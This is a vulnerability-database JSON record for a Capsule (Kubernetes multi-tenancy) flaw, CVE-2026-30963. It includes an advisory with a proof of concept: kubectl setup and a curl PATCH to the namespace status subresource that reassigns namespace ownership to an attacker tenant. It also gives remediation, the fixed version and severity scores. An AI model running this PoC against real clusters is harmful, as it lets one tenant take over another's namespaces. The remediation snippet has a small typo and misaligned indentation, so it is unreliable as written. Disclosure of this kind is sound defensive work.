{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/95167?format=json","vulnerability_id":"VCID-g7vh-y6gg-vygn","summary":"Capsule Namespace Hijacking via subresource\n### Summary\nTo defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.\n\n### Details\nWhen Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.\n\n### PoC\nOpen two terminals and create two tenants:\n```\nkubectl create -f - << EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: oil\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n\n./hack/create-user.sh alice solar\nexport KUBECONFIG=alice-solar.kubeconfig\nkubectl create namespace solar-production # alice creates the namespace\n```\n\n```\nkubectl create -f - << EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: attacker\nspec:\n  owners:\n  - name: attacker\n    kind: User\nEOF\n\n./hack/create-user.sh attacker attacker\nexport KUBECONFIG=attacker-attacker.kubeconfig\n```\n\nWhen the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:\n```\nkubectl create clusterrole status --verb=patch --resource=namespaces/status\nkubectl create clusterrolebinding status --clusterrole=status --user=attacker\n```\nThe attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:\n```\ncurl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \\\n--header 'Content-Type: application/json-patch+json' \\\n--data '[\n    {\n      \"op\": \"replace\",\n      \"path\": \"/metadata/ownerReferences\",\n      \"value\": [\n        {\n          \"apiVersion\": \"capsule.clastix.io/v1beta2\",\n            \"kind\": \"Tenant\",\n            \"name\": \"attacker\",\n            \"uid\": \"1fcb9c9b-b552-4974-a248-32be66a2188c\"\n        }\n      ]\n    }\n  ]'\n```\n\n### Impact\nhijack namespace\n\n### Remediation\nTo mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:\n```\n    resources:\n    - namespaces\n    - namespaces/status\n\t- namespace/finalize\n```","aliases":[{"alias":"CVE-2026-30963"},{"alias":"GHSA-2ww6-hf35-mfjm"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/118927?format=json","purl":"pkg:golang/github.com/projectcapsule/capsule@0.13.0","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:golang/github.com/projectcapsule/capsule@0.13.0"}],"affected_packages":[],"references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30963","reference_id":"","reference_type":"","scores":[{"value":"0.00055","scoring_system":"epss","scoring_elements":"0.17436","published_at":"2026-06-06T12:55:00Z"},{"value":"0.00055","scoring_system":"epss","scoring_elements":"0.17441","published_at":"2026-06-05T12:55:00Z"},{"value":"0.00084","scoring_system":"epss","scoring_elements":"0.24447","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00084","scoring_system":"epss","scoring_elements":"0.24437","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00084","scoring_system":"epss","scoring_elements":"0.24495","published_at":"2026-06-07T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30963"},{"reference_url":"https://github.com/projectcapsule/capsule","reference_id":"","reference_type":"","scores":[{"value":"3.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/projectcapsule/capsule"},{"reference_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.13.0","reference_id":"","reference_type":"","scores":[{"value":"3.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-02T14:04:59Z/"}],"url":"https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"},{"reference_url":"https://github.com/projectcapsule/capsule/security/advisories/GHSA-2ww6-hf35-mfjm","reference_id":"","reference_type":"","scores":[{"value":"3.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-02T14:04:59Z/"}],"url":"https://github.com/projectcapsule/capsule/security/advisories/GHSA-2ww6-hf35-mfjm"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30963","reference_id":"","reference_type":"","scores":[{"value":"3.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30963"}],"weaknesses":[{"cwe_id":20,"name":"Improper Input Validation","description":"The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly."}],"exploits":[],"severity_range_score":"0.1 - 3.9","exploitability":null,"weighted_severity":null,"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-g7vh-y6gg-vygn"}